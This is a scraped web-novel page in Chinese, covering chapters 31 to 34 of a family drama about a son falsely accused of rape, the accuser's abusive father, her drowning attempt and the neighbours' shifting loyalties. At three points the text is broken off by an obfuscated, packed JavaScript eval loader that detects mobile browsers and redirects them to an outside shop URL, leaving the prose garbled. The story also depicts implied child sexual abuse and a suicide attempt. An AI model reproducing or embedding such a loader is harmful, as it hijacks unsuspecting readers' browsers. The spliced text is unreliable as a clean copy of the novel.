;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611402|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓶她珍藏许久的肉酱,甚至还有一包用红纸仔细裹着,据说能“驱邪避祸”的朱砂都塞了进去。 那包裹鼓胀得如同她此刻焦灼到快要炸裂的心,沉甸甸的,是她所能付出的全部母爱与惶恐。 到了公安局,接待的民警态度冷淡,程序分明。 他们只允许递进去几样基本的生活用品,那个饱含心意的巨大包裹被毫不留情地拦在了外面。 “同志,求求您了,行行好,就让我把这些给儿子吧,他在里面吃苦啊……”包兰芝慌了,脸上堆起讨好笑容,声音带哭腔,作势要跪,被南雁死死拉住。 “妈!”南雁声音压着火,“你别这样!这里有这里的规矩!你胡搅蛮缠只会给大哥添麻烦!你还想不想他好了?!” 提到儿子,包兰芝像是被掐住了命门,汹涌的情绪骤然噎住,她瘫软下来,嘴唇哆嗦着,不再挣扎,只是用那双浑浊的眼睛,无助地看着民警将那个沉重的包裹推到一边。 家属探望时间只有半个小时。 会见室狭窄而肃杀,铁栅栏将空间一分为二,如同划分了两个世界。 当南天贵被民警带出来时,南雁几乎要认不出他。 不过几天,他就瘦脱了形,眼窝深陷,曾经明亮的眼眸里只剩下麻木与恐惧,胡子拉碴的下巴让他看起来苍老了十岁。 前十五分钟,是属于包兰芝的悲恸独白。 她扑到栅栏前,双手死抓铁栏,眼泪决堤:“天贵,我的儿!他们打你没?饿不饿?冷不冷?睡不睡得着?妈给你带了酱菜,他们不让拿……” 南天贵低着头,偶尔含糊地应一声“嗯”、“还好”、“妈你别担心”。 南雁站在包兰芝身后,冷静观察大哥每个细微表情和动作。 时间在压抑的哭泣中飞速流逝。南雁知道,不能再等了。 她上前一步,轻按包兰芝激动颤抖的肩,打断这心酸场面:“妈,时间有限,我有要紧事问大哥,关系案子。你先冷静,或者……出去等我?” 包兰芝闻言,像是被侵犯了领地的母兽,猛地扭头瞪向南雁:“你问你问!你有什么好问的!没看你哥都成这样了吗?!你还……” 在她看来,女儿的冷静近乎冷酷。 “妈!”南雁加重了语气,“你想不想大哥尽快出来?!想不想?!” 最终,在南雁半强迫下,包兰芝一步三回头,抹泪被民警暂请出会见室。 房间里只剩下兄妹二人。 南雁不再浪费时间,目光如炬,直视南天贵躲闪的眼,抛出关键问题:“大哥,你知道林菲喜欢你吗?” 南天贵浑身猛地一僵,像是被电流击中。他霍然抬头,难以置信地看向南雁,嘴唇翕动了几下,最终又颓然低下:“……知道。” “那你喜欢她吗?”南雁步步紧逼,不给他丝毫喘息的机会。 “不喜欢。”这次他回答得很快,几乎是下意识地否认,带着一种急于撇清的慌乱。 但那瞬间僵硬的身体和躲闪的眼神,却泄露了不同的信息。 南雁不为所动,继续抛出更尖锐的问题:“那你知道她之前遭遇过什么吗?在她家里。” 她紧紧盯着他,不放过任何一丝变化。 31. 两周 南天贵沉默,双手紧握成拳,死死盯着地面,像要把水泥地看穿。 他的沉默,就是最明确的答案。 南雁哂笑:“我知道了林菲她爸对她做的那些猪狗不如的事。” “你怎么知道的?!”南天贵猛地抬起头,眼白布满了骇人的血丝,情绪瞬间激动起来,“你去问了林菲?!不对!她不可能说的!你根本不知道……你不知道那……” 他似乎想说什么,却又猛地刹住,脸上闪过极度的恐惧,用力摇头,“你不可能知道!” “我就是知道!”南雁斩钉截铁,她凑近栅栏,紧盯着他脸上每一丝细微的抽搐,“她爹就是畜生!是连畜生都不如的渣滓!他根本不配当爹!不配喘气!不配活着!” “所以,大哥,你告诉我,你为什么要替那个真正的畜生顶罪?是他给了你无法拒绝的好处?还是他用什么威胁你了?以至于你要把你自己,把妈,把我们这家,全拖进万劫不复?!” “不是他!”南天贵几乎是嘶吼出声,“不是他给的……” 话一冲出口,他才惊觉失言,脸上最后一点血色也瞬间褪尽,只剩下死灰般的惊惧。 不是林菲的父亲? 南雁脑中念头飞转,瞬间抓住了这关键的信息。 她目光如刀,语气笃定:“那就是为了林菲。为什么?因为她那点可怜又扭曲的‘喜欢’?还是因为你知道了她那点见不得光的过去,生出了可笑的怜悯?所以你就要当这个救世主,扛下这强-奸-犯的罪名?” 南天贵像是被抽干了所有力气,瘫坐在椅子上,双手插进头发里,发出困兽般的呜咽。 他死咬牙关,不再看南雁,不再出声,用沉默筑起坚固堡垒。 看着他这副油盐不进、自甘沉沦的模样,南雁心头那股怒火与巨大的失望交织攀升,几乎要冲破胸膛。 她冷笑:“南天贵,你真是个彻头彻尾的懦夫!你明明就在意她,心疼她,为什么不敢承认?你以为你默默扛下一切很悲壮?很伟大?我告诉你,你这是愚蠢!是彻头彻尾的懦弱!你在这里充英雄,替你心里那点见不得光的心思殉道,你想过妈吗?想过这个家吗?你护着的那个林菲,她现在只怕日日夜夜祈祷你把嘴巴永远闭上!祈祷你死在这里面!好让她的秘密,和你这愚蠢的忠心,一起烂掉!” 南天贵身体剧颤,却依旧紧咬牙关,一言不发。 “好!好!好!”南雁连说三个好字,怒极反笑,“看来这里的苦头还没吃够!不撞南墙不回头!不见棺材不掉泪!” 旁边一直如同背景板的警官面无表情地抬腕,冷硬地宣布:“时间到!南天贵,带回!” 两名民警上前,一左一右将烂泥般的南天贵从椅子上架起来。 他像一具被剥离了灵魂的空壳,任由摆布,被拖着走向那道沉重的铁门。 自始至终,他没有再回头看南雁一眼。 那决绝的背影,像是在告别。 南雁独自站在原地,冰冷的铁栏在她脸上投下交错的阴影。 会见室里那股消毒水的气味此刻无比浓烈,呛得她几乎要呕吐出来。 * 两周时间足以让沸水结冰。 关于南天贵的流言在无数张嘴间反复蒸煮,终于熬干最后一点滋味,沉入冰冷的死寂。 林菲回到学校时,像片被风雨撕碎又勉强拼合的落叶。 她瘦得校服空荡,脊背却挺得笔直,好像稍一弯曲就会彻底崩塌。 她与南雁之间隔着一道淬火的钢化玻璃——透明,坚硬,布满看不见的裂痕。 每次目光相撞,都会迸溅出只有她们能听见的刺耳锐响。 课间操的喧嚣还在操场回荡,南雁刚踏进教学楼后的阴影,三道身影便从墙角扑了出来,像三只蓄势的鬣狗。 吴梦双臂交叠,下颌高昂,脸上那层名为“正义”的釉彩,在斑驳树影下折射出虚假的光芒。 她身后的两名追随者如影随形,瞬间铸成一道人墙,将稀薄的阳光与所有退路一并封锁。 空气骤然收紧。 “哟,这不是南雁吗?”吴梦的声音陡然拔高,刻意让不远处几个探头的同学听得一清二楚,“你哥那事,到底判没判啊?该不会真得在里头待一辈子吧?” 她身后的女生们配合地发出几声嗤笑,目光如同针芒,密集地刺过来。 南雁的目光慢条斯理刮过吴梦的脸:“舌头这么长,是刚在化粪池里蘸过?” “你敢骂我?!”吴梦气得往前蹿了一步。 “谁凑上来认,就是骂谁。”南雁半步未动,怜悯地看着被当枪使的吴梦,“林菲给了你多少好处?让你这么急着跳出来,当她的疯狗乱咬人?” “你放屁!”吴梦像是被踩中了尾巴,尖声叫嚷,唾液星子几乎喷到南雁脸上,“我是替天行道!看不惯你们一家子祸害!林菲那么可怜,你还敢骚扰她?你跟你哥一样,都是下贱胚子!” 她越说越激动,右手猛地抬起,朝着南雁的头发抓来! 南雁反应极快,反手攥住她的手腕,指节发力,只听吴梦痛得“嘶”了一声,尖叫卡在喉咙里,脸上得意的表情瞬间扭曲。 “手不想要,我可以代劳。”南雁盯着她,眼神锐利,“还有,我哥的事,公安局法院自有公断,轮不到你在这里满嘴喷粪。你再敢提那三个字污蔑他,我不介意让你也尝尝,什么叫真正的‘骚扰’。” 她甩开吴梦的手,力道让对方向后踉跄,撞在同伴身上。 吴梦从未见过这样的南雁,冷静底下压着的是不顾一切的凶狠。 南雁不再看她,目光越过颤抖的人墙,落在了不远处的树下。 林菲不知何时站在那里,双手死死绞着衣角,脸色苍白如纸。 “林菲,你就这点本事?只会躲在别人裙子底下煽风点火?有胆子造谣,没胆子当面对质吗?你那些藏在肚子里的鬼,夜夜啃噬你良心的时候,你真能睡得安稳?你以为……警察会查不到吗?” 林菲的身体猛地一颤,头垂得更低,声音带着哭腔的颤音:“对……对不起,不是我让她们来的……” 南雁轻笑一声:“是不是,你心里清楚。你以为,能瞒一辈子吗?” 吴梦揉着发红的手腕,又惊又怒,想骂又不敢,只能色厉内荏地喊:“南雁你少嚣张!你哥就是罪有应得!林菲,你别怕她!” 林菲慌乱地扯住吴梦的胳膊,声音带着哀求:“梦梦,别说了……我们走吧,求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隔壁李婶那极具穿透力的嗓音由远及近,带着一股火烧眉毛的急迫,人还没到门口,声音就先撞破了薄暮的宁静。 院门被一把推开,李婶胸脯剧烈起伏,气喘吁吁地站在院中,顾不上喘匀气,就朝着屋里大喊:“快!县公安的车!又开到矿上办公楼了!乌泱泱下来好几十号人,阵仗大得吓人!不会……不会又是冲着你们家来的吧?” 包兰芝正在厨房揉面,准备晚上的馒头。闻言,手一抖,指尖深深掐进柔软的面团里。 她怔怔地看着那团面,嘴唇哆嗦着,半天才发出干涩嘶哑的声音:“天贵……天贵都被他们带走了,他们还来干什么?还要干什么啊!” 李明兰看着她这副失魂落魄的样子,叹了口气:“你别急,别急啊!我这就再去帮你打听打听,看他们这回来到底是办啥案,你等我消息啊!” 说着,她转身就要走。 “等等!”包兰芝像是突然惊醒,捡起地上的面盆,也顾不上擦灰,拔腿就追了出去,“明兰,你等我!我跟你一块儿去!” 32. 解脱 案子悬在那里,像一件半干的旧衣裳,在阴处滴着水,总也干爽不起来。 负责这案的几个公安,都是老手了,鼻子嗅过太多气味,这一宗却有些特别。 不是血腥气扑鼻的那种,倒像是梅雨天,墙角悄没声息沁出的霉斑,带着股阴湿、黏腻、纠缠不清的气息。 南天贵的供词,薄薄几张纸,轻飘飘的,落不了地。 那少年人的眼神,惶惑里带着怯弱,不像能做出那等事的人。 而林菲那姑娘,问起话来,眼神总是游移着,像受惊的麻雀,落不到实处。 她说的话,前一句和后一句常常对不上,自己先绊住了自己,织成一张漏洞百出的网。 办案的人心里明白,这网底下,沉着东西。 后来,他们在矿区的家属院里坐,听那些婆娘们扯闲篇。 话头绕着林菲的家打转,说她那对父母,面上是平静的,底下却藏着暗流。 说那张小英,和调度室的陈卫国,走得未免太近了些。 这一缕线头,被公安轻轻扯住了,一带,便扯出一个叫人脊背发凉的事实来。 原来张小英和陈卫国,竟是有私情的。 这秘密藏了许多年,像地下的暗河,日夜流淌,却没人看见。 这一下,整个案子便调了个头。 公安们的眼睛,慢慢地转到了那个不大说话,见了人总缩着肩膀的林恩华身上。 去林家搜查那日,天色是沉郁的灰。 院子不大,杂乱地堆着些家什,透着一股破败,无心经营的气息。 老公安姓秦,他在院里转了一圈,最后停在那个半掩着的地窖口。 推开杂物,一股混杂着烂菜帮子和湿泥的霉味儿扑面而来,呛得人直皱眉。 地窖里堆着过冬的大白菜和土豆,乍一看没什么特别。 秦公安却没急着走,他从兜里摸出手电,一寸一寸地敲打四壁。 敲到角落那堆烂木板时,墙面传来空洞的回音——后面是空的。 挪开木板,一个窄得只能弯腰钻进去的洞口露了出来。 手电光往里一扫,这秘密掘出来的地下室不过五平米见方,除了一张破木板搭的床,就剩个锁着的旧木箱。 技术员把箱子撬开,里头没有金银细软,只有一本用牛皮纸裹得严严实实的笔记本。 纸页已经泛黄,边缘卷曲着,像是被无数次地摩挲,又无数次地想要撕毁。 字迹是笨拙的,一笔一划却刻得极深,仿佛倾注了全身的力气。 里面写的,不是家常。 是一个灵魂,日日夜夜,在被背叛的耻辱和恨意里熬煮,最终熬成了一锅毒汁。 字字句句,都是对妻子张小英的诅咒——“贱人”、“脏了门风”、“恨不得她死”。 然而,更让人脊背发凉的,是他对女儿林菲的那些话。 他一会儿把她捧成莲花,说是这污糟家里唯一的白;一会儿又因她眉眼间日益像她母亲,而恨得牙痒。 那些含糊的段落里,夹杂着“夜里的管教”和“清洗身体”之类的混话,读来让人头皮发麻。 这哪里是日记? 这是一颗在不见天日的阴沟里泡了大半生,早已发酵、肿胀、变质,却仍在偏执跳动的心。 …… 河边的风,像一道无声的咒语,贴着皮肤念。它不劈,不砍,只是无孔不入地往里钻,要把骨头缝里最后一点暖意都搜刮干净。 林菲一步一步往水里走,河水漫过脚踝,小腿,膝盖…… 那冷,是针扎似的,密密麻麻,瞬间就穿透了单薄的衣衫,刺进了骨头缝里。 这寒意,她竟有些熟悉,仿佛她生命的底色,本就是这般冰冷的。 岸上的喧闹,被水波揉碎了,传到这里,只剩一片嗡嗡的杂音。 有人在喊她的名字,声音尖利,变了调。 又有“扑通”的水声,大约是有人下来救她了。 她心里忽然浮起一个荒诞的念头:真好笑,他们难道不知道,有些人,是从里到外都冷透了的,捞上去,也只是一块冻僵的肉罢了。 身子沉得厉害,河水没过了腰,胸口,下巴。 浑浊的水带着泥沙的腥气,一股股地灌进她的口鼻。 那味道里,似乎还有别的,一股铁锈似的,又像是父亲工具箱里那股机油的味道。 不,不是的,是血的味道。 是她自己的身体里,曾经流出来的,温热的,带着腥气的血。 那血,染红过床单,也染红了她整个灰暗的青春。 “不是我!爸……你别打妈妈!” 记忆碎片,像一块尖利的玻璃,猛地扎进脑海里。 是哪一夜? 灯光昏黄,摇晃着,把人的影子拉得长长短短,鬼魅一般。 母亲的哭喊声,父亲的咒骂声,拳头落在□□上的闷响…… 她蜷在墙角,把自己缩得很小很小,恨不得钻进地缝里去。 然后,一切都静了,父亲那双血红的眼睛,转了过来,钉在了她的身上…… 不要想! 又一口冰冷的河水呛进来,窒息的感觉暂时压下了那恐怖的画面。 可另一段记忆,更像水底缠人的水草,柔韧而阴险地绕上了她的脚踝,把她往更深的黑暗里拖。 是那本笔记本。 为什么要把它翻出来?为什么让那些肮脏、见不得光的字,曝露在太阳底下? “小菲是干净的……只有她是干净的……” 爸爸又在耳边说话,那么近,近得她浑身一颤。 “她看她妈的眼神……一样下贱!” “不听话就要管教……让她知道谁才是对她好的人……” “夜里醒了,看着她睡着的脸,像她妈年轻时……真脏……得洗干净……” “洗干净”…… 胃里一阵剧烈的翻搅,冰冷的河水瞬间沸腾了,灼烧着她的五脏六腑。 她想抬手捂住耳朵,可胳膊像是被水草缠住了,沉甸甸的,抬不起来。 那双手又在她身上游走,那股混合着烟酒和怨恨的喘息又喷在耳边,那种带着占有欲和污秽的“爱”…… 那居然是“爱”。 可是那“爱”从根子上就烂透了,是长满毒刺的藤蔓,早把她缠得血肉模糊。 还有妈妈…… 你为什么要背叛这个家? 为什么不爱爸爸? 为什么……连我也不要了? 她是这个腐烂泥潭里滋生出的,最丑陋的怪物。 是啊,怪物。 她想起了南天贵。 那个少年,眼神是亮的,像夏夜的星星。 在她最不堪、最恍惚,几乎想要把自己彻底撕碎的那个夜晚,他恰好出现了,带着一种她从未见过的怜悯。 可是,在父亲那阴鸷带着胁迫的目光下,在她自己都未曾察觉对于那点光明的扭曲,嫉妒与毁灭欲里,她伸出了手指,轻轻地说: “是南天贵。” 五个字,轻飘飘的,却像一道最恶毒的符咒,不仅玷污了那片光明,也将她自己,永远地钉死在了耻辱柱上。 她看见他眼中的星光,灭了。 什么是爱呢? 她曾经以为,爱就是彻彻底底的占有,是哪怕一起沉沦,一起腐烂,也要绑在一起。 可南天贵不要,他挣脱了。 他果然是嫌弃她的,嫌弃她的脏,她的不堪。 既然得不到,那就毁掉吧!心里有一个声音在疯狂地叫 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是啊,都是脏的。 就像八岁那年,她打翻墨水,染黑了母亲的白裙子,怎么搓洗,那污迹也还在。 最后,母亲把裙子扔进了火里。 她停止了挣扎,身体变得很轻,很软,像一片终于脱离枝头的叶子,任由暗流裹挟着,向那更深、更暗的所在沉下去。 河水温柔地抚过她的脸颊,凉凉的,像是在替她擦去永远流不尽的眼泪。 她仰起头,看见河面上的光晕,一圈一圈的,荡漾着,越来越远,越来越淡。 恍惚间,那光晕化作了漫天的星辰,闪烁着,那么美,美得让人心碎。 小时候,她总相信伸手就能摘到星星,现在才明白,那些璀璨的光,从来就不属于她这样的,生在阴沟里的人。 “醒醒!林菲!醒醒!” “快,人工呼吸!” “抬起来,送卫生所!” 朦胧中,她看见了南雁的身影,逆着光,轮廓模糊而温暖。 她的眼神还是那么清澈,像是能洗净世间一切污浊……真像啊,像庙里的菩萨,低垂着眼,慈悲地看着她这污秽的灵魂。 “菩萨……你是……来接我的么?” 可是,像我这样的人,满身罪孽,满口谎言,合该下地狱的,怎么配让菩萨来接呢? 她,听见了。 “林菲,苦海无边,回头是岸。” …… 庭审那日,林恩华穿着灰扑扑的囚服,站在被告席上,像一截被虫蛀空了的木头。 法庭里的一切,国徽,法官,旁听者嗡嗡的议论声,都像是与他隔了一层。 他耷拉着眼皮,只看自己脚前那一小片地。 公诉人的声音平稳而清晰,将他日记里那些龌龊的隐秘,一一摊开在光天化日之下。 旁听席上起了一阵骚动,有抽气,有低骂。 他脸上却木着,只有戴着镣铐的手,微微地蜷了一下。 法官的宣判来了,“……有期徒刑十八年。” “十八年。”他心里默念一遍,竟觉得一阵松快。 这高墙铁窗,于他而言,不是惩罚,倒成了归宿。 他这具早已被罪恶蛀空的躯壳,总算有了一个妥帖的,埋葬的地方。 法警押着他,走向旁边那道小门。 镣铐哗啦哗啦地响着,替他计算着这失败人生的最后几步。 门外透进来的阳光,亮得刺眼。 他加快了脚步,几乎是急切地,将自己投入身后那片应得的永恒的阴翳里。 33. 热闹 南天贵无罪释放的消息,像一颗哑火的哑炮,在沉寂多时的矿工家属区里闷闷地炸开,没扬起多少尘土,却震得人心头发麻。 巷子口那棵老槐树底下,终日聚着些闲人,今日却格外安静。 南家对门的老赵攥着半拉韭菜合子,油汪汪的嘴角翕动着,一把拉住蹬三轮收废品的老头:“真……真放了?没……没那事儿?” 得到肯定的答复后,他喉结上下滚动,猛地拔高调门,像是要盖过什么不光彩的回音:“我就说嘛!老南家那小子,打小看他长大,根儿上就正!能干那缺德事?当初我就觉着不对劲!” 这话掷地有声,仿佛几个星期前,在厂区大会上跟着人群喊“严惩南天贵”,唾沫星子喷出老远的,是另一个披着他皮囊的鬼。 隔壁屋里,吴秀英正在纳鞋底,闻言嗤笑一声,针尖在厚布上利落地穿过:“马后炮放得震天响。当初南老蔫家的小峰烧得说胡话,想借你家三轮推去医院,是谁嚷嚷车胎瘪了,躲瘟神似的?” 老赵面皮紫胀,梗着脖子冲那声音来处吼:“老娘们家头发长见识短!那叫……那叫保持距离!懂不懂政治!” “呸!”一个干瘪的蒜瓣从窗口精准飞出,砸在他后脑勺上,带着毫不掩饰的鄙夷。 看热闹的人渐渐围拢,多是些不用下矿的婆姨和老人。 交头接耳间,唏嘘感慨着“老天有眼”、“沉冤得雪”,言辞是滚烫的,熨帖着这突如其来的“喜讯”。 只是这熨帖底下,是否藏着几分当初冷眼旁观的凉薄,或是此刻急于撇清的慌乱,谁也说不清。 人心好比矿层深处的矿石,黑黢黢的,砸开了,也未必能看清内里的纹路。 锦上添花,总比雪中送炭来得容易,也热闹得多。 包兰芝正在自家小院那根锈迹斑斑的铁丝下晾衣服。 水淋淋的矿工服沉得像坠了石头,她踮着脚,用力抻平袖口的褶皱。 鹩哥的聒噪和邻居的议论顺着矮墙飘进来,她的手顿了一下,也只是顿了一下,随即“哐当”一声,将衣架狠狠挂上铁丝。 铁丝剧烈晃动,甩出几滴冰凉的水珠,砸在她洗得发白的解放鞋面上,洇开深色的斑点。 她没说话,嘴角那两道常年向下抿着的纹路,此刻更深了,像是用刻刀狠狠划过。 下午,家里的“热闹”便登门了。 打头阵的是矿区工会的李大姐,人未到,声先至,热情得有些夸张:“兰芝妹子!兰芝妹子!天大的喜事啊!” 她挎着印有“先进生产”的旧帆布包,手里拎着一网兜格外红艳的苹果,像个凯旋的将军闯进低矮的房门。 “天贵娃娃的事,平反了!恢复名誉!你看,我就说嘛,乌云它遮不住太阳!”李大姐把苹果往桌上一墩,自来熟地搬过小板凳坐下,一把攥住包兰芝粗糙的手,掌心汗湿温热,“这些日子,苦了你们了!组织上都看在眼里!有啥困难,跟大姐说!” 包兰芝默默抽回手,拿起炕上的鞋底,锥子扎过厚布,发出沉闷的“噗”声:“没啥困难,习惯了。” 李大姐脸上的笑容僵了瞬,立刻又活络开:“你看你,还是这么要强!矿上领导研究了,考虑到你们家实际情况,特批给南雁一个招工指标,后勤处,轻省!姑娘家,稳当最要紧。” 这是橄榄枝,也是补偿。 包兰芝抬起眼皮,浑浊的目光在李大姐脸上停留片刻:“谢组织惦记。雁子初中还没念完,不急,过两年再说。” 她心里清楚,有些便宜,沾了骨头软,她不能为了一个指标,就让女儿矮人一截,让家里刚挺起的腰杆再弯下去。 李大姐又絮絮叨叨说了许多“向前看”、“日子会好起来”的宽心话,最终心满意足地走了,留下那兜红得刺眼的苹果,在昏暗的屋里散发着不合时宜的甜香。 包兰芝看着那苹果,只觉得堵心。 接着来的是和南天贵一个班组的老莫。 他搓着手,站在门槛外,像根被钉住的木桩,黝黑的脸上混杂着局促与羞愧:“包婶……我、我来看看……” 他手里空着,却比提着千斤重担还沉。 “那天……天贵哥出事那天,他给了我一包烟,让我替他顶一会儿……我……林恩华他们逼我……我孬种!我不是人!我对不起天贵哥!”老莫的声音哽住,抬手狠狠抹了把脸,指缝间有水光闪动。 包兰芝停下锥子,静静看着他。 这个丈夫一手带出来的徒弟,没少在家里吃饭,她和秉义都拿他当半个儿看待。 但他是怎么回报的? 他当初那份证词,字字如刀,几乎将天贵推向绝境。 此刻看着他涕泪交加的模样,包兰芝心里没有宽恕,只有一片被反复踩踏后的冷硬。 “过去了。你也有老有小要顾。” 老莫猛地抬头,难以置信地看着她平静无波的脸,嘴唇哆嗦着,但什么也说不出来,只好朝着屋里方向,深深弯下腰,鞠了一躬,脚步踉跄地消失在门外,背影佝偻得像瞬间被抽走了脊梁。 人来人往,像走马灯。 有当初落井下石,此刻讪讪说着“误会一场”的;有纯粹瞧热闹,拐弯抹角打听“赔了多少补偿”的;也有一两个真心替他们高兴,偷偷往南雁手里塞两个还温乎鸡蛋的老姐妹。 包兰芝一律用那张宛若风干橘皮的脸和简短的“嗯”、“啊”、“费心了”挡了回去。 她像个耐心的观潮人,看着各色浪头在她这片小小的沙滩上涌来又退去。 而最高的一波浪,是吴梦母女掀起的。 母女俩在低矮的院门外踟蹰了半晌,吴梦母亲脸上红白交错,心里进行着激烈的斗争,既拉不下脸面,又害怕被南家记恨,影响女儿乃至自家的风评,最终硬着头皮扬声:“兰芝妹子在家不?” 包兰芝闻声出来,一见是她,脸色瞬间沉下,目光冷飕飕的。 当初吴梦在学校如何带头孤立、欺辱南雁,她这当妈的岂会不知? “哟,吴主任啊,什么风把您这大忙人吹来了?”包兰芝的语气里带着罕见的讥诮。 吴梦母亲脸上堆起尴尬的笑,一把将缩在身后的女儿拽到身前,力道大得让吴梦踉跄了一下,“这孩子!不懂事!以前都是她瞎胡闹,听风就是雨!快,给你南雁妹妹赔不是!” 吴梦低着头,声音含在喉咙里,脸上火辣辣的:“对……对不起……” 她感到屈辱,却又不敢反抗母亲,只能将头埋得更低。 南雁正弯腰收晾干的衣服,闻言,动作没有丝毫停顿,连眼皮都未曾抬一下,仿佛她们只是两团扰人的空气。 这种彻底的漠视,比任何激烈的斥责都更让吴梦难堪。 她死死咬着下唇,眼圈红了。 母女俩最终在包兰芝不咸不淡的“小孩子家打闹,过去就过去了”的话语中,灰溜溜地转身,像打了败仗的逃兵。 包兰芝盯着她们的背影,直到消失在巷口,才轻轻啐了一口:“势利眼!” 心里那口憋了许久的恶气,总算吐出了一些。 日头西斜,将天边烧成一片凄艳的橘红时,最后一批,也是最出乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635442|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意料的访客,姗姗而来。 王家夫妇——就是那个当初嚷嚷南家“名声臭过茅坑”的男人,和他那个语气温软却字字如刀的妻子,竟再次登门了。 与上次的倨傲冷漠判若两人,此刻两人脸上堆满了近乎讨好的笑容,手里提着的礼物也明显上了档次,不仅有精致的糕点罐头,竟还有一块用油纸仔细包着,一看就价格不菲的藏蓝色涤卡布料。 “兰芝妹子!雁子!都在家呢?”王母的声音甜得发腻,人未进院,笑声先飘了进来。 包兰芝正在院子里筛捡米里的砂石,看到他们,手一抖,筛子里的米险些泼洒出来。 她的脸色霎时变得极其复杂,她下意识地看向女儿,心里乱成一团麻。 南雁却只是冷冷地瞥了那对光鲜的夫妇一眼,继续低头择手里那把翠绿的青菜,动作利落,神情淡漠,好像来的不过是两只误闯院落的野雀。 “你们……又来做什么?”包兰芝的声音发紧,带着显而易见的戒备。 上次那二百五十块钱和那些剜心的话,她一刻不曾忘。 王父搓着手,脸上是极不自然的干笑:“呵呵,兰芝妹子,你看你这话说的……咱们好歹……差点成了亲家,走动走动不是应当应分的嘛!” 王母立刻接口,语气是十二万分的诚恳与追悔:“是啊,兰芝姐!上次……上次是我们糊涂!我们也是被那些风言风语迷了心窍!回去后我们这心里啊,跟油煎似的!天贵是多好的孩子啊,如今真相大白,我们真是……真是替他高兴!” 她一边说,一边热络地将手里的东西往包兰芝手里塞:“这点东西,不成敬意,给天贵压惊,也给雁子扯块布做身新衣裳!雁子这姑娘,我们是越看越欢喜,模样周正,性子又稳当……” 包兰芝像被火钳烫到,猛地缩回手,礼物“啪嗒”一声掉在地上,那块藏蓝色布料从油纸里滑出一角,在灰扑扑的地面上显得格外刺眼。 她胸口剧烈起伏,上次被羞辱的场景历历在目,一股恶气直冲顶门,她想破口大骂,想把这对势利夫妻轰出去。 他们凭什么以为,几句好话、一点礼物,就能把过去的践踏一笔勾销? 王母却像是早有预料,脸上笑容不变,一把亲热地挽住包兰芝的胳膊,力道大得不容挣脱,心里笃定这家人总会为现实低头:“兰芝姐啊,咱们两家是多少年的老交情了。当初给雁子和志刚定亲,那是看两个孩子投缘,咱们大人也知根知底。要不是后来……唉,真是造化弄人!” 一直沉默跟在后面的王志刚,此刻更是手足无措。 他比南雁大八岁,顶替父亲进了机电科,算是端上了铁饭碗,人模样也周正。 此刻他却低着头,不敢看包兰芝,也不敢看南雁,手指无意识地死死抠着裤缝。 他心里对南雁是有些念想的,但也清楚自家父母之前的行径多么不堪,此刻的尴尬让他恨不得找个地缝钻进去。 王父清了清嗓子,像是要宣布什么重大决定,试图拿出当家人的气势:“兰芝妹子,过去那些不愉快,就让它过去吧!现在天贵娃娃沉冤得雪,这是大喜!咱们两家的缘分,我看呐,断不了!志刚这孩子,你也知道,老实,肯干,心里头……一直就装着小雁呢。” 包兰芝看着这一家子,听着这些话,只觉得一股浊气在胸间翻腾。 他们轻飘飘的一句“过去吧”,就想抹杀她家天贵受的冤屈,她们母女挨的欺负? 世上哪有这么便宜的事! 她看着那块掉在地上的涤卡布,只觉得是对她,更是对女儿南雁的莫大侮辱。 34. 招飞 王母连忙帮腔,语气笃定得像在陈述真理:“对对对!志刚这孩子死心眼,一根筋!别人给介绍多少姑娘,他连相都不去相!就认准小雁了!我看呐,这就是老天爷注定的缘分!咱们当爹妈的,可不能耽误了孩子们!” “耽误?”包兰芝蓦地抬起头。 她看着王家夫妇那精心算计的眼神,再看看身边女儿冰冷倔强的侧影,一股混杂着长久压抑的委屈、愤怒和为人母的悍勇之气,猛地从胸腔里炸开。 她突然笑了起来,等笑够了才在众人讶异的目光中,慢慢弯腰,捡起掉在地上的布料,慢条斯理地拍打着上面的灰尘,却没有递还给王母,而是轻轻放在了旁边的石磨盘上。 “王大哥,王家嫂子,难为你们还惦记着那桩‘婚约’。”包兰芝顿了顿,目光满含讥诮的扫过王父强撑的脸,和王母那几乎挂不住的笑,“不过,你们口中的‘过去’,在我这儿,过不去。” “我们家庙小,门槛低,容不下你们王家这尊高菩萨。我们家天贵啊,名声是‘臭’过的,可不敢再连累了你们家清清白白的好儿子。我们家雁子呢,就是个普通矿工家的丫头,没那福气,高攀不起。” “这布料,”她指了指石磨盘,“你们拿回去吧。看着金贵,别放在我们这穷家破舍,沾了洗不掉的‘晦气’。” 这一番棉里藏针、寸寸见血的话,从包兰芝嘴里说出来,不只王家夫妇呆了,连南雁也惊讶地看向母亲,眼里闪过一点光。 王母的脸皮抽搐着,还想做最后的努力:“兰芝姐,你这话就太见外了,我们真是诚心诚意……” 